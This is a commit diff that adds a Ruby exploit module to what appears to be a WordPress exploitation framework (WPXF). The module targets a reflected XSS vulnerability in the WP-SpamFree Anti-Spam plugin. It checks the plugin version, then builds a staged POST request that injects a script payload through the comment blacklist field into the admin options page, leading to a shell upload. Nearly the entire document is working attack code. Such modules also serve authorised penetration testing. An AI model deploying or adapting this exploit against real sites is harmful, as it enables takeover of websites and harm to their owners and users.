Add WP-SpamFree reflected XSS shell upload

Author: rastating

modules/exploits/spamfree_reflected_xss_shell_upload.rb

@@ -0,0 +1,42 @@
+class Wpxf::Exploit::SpamfreeReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::StagedReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'WP-SpamFree Anti-Spam Reflected XSS Shell Upload',
+      author: [
+        'Radjnies Bhansingh',             # Disclosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8752'],
+        ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_wp_spamfree_anti_spam_wordpress_plugin.html']
+      ],
+      date: 'Mar 02 2017'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('wp-spamfree')
+  end
+
+  def vulnerable_url
+    normalize_uri(wordpress_url_admin, 'options-general.php?page=wp-spamfree%2Fwp-spamfree.php')
+  end
+
+  def initial_script
+    create_basic_post_script(
+      vulnerable_url,
+      'submitted_wpsf_general_options' => '1',
+      'use_alt_cookie_method' => 'on',
+      'comment_logging_all' => 'on',
+      'enhanced_comment_blacklist' => 'on',
+      'wordpress_comment_blacklist' => "</textarea><script>#{xss_ascii_encoded_include_script}<\\/script>",
+      'allow_proxy_users' => 'on',
+      'promote_plugin_link' => 'on',
+      'submit_wpsf_general_options' => 'Update Options'
+    )
+  end
+end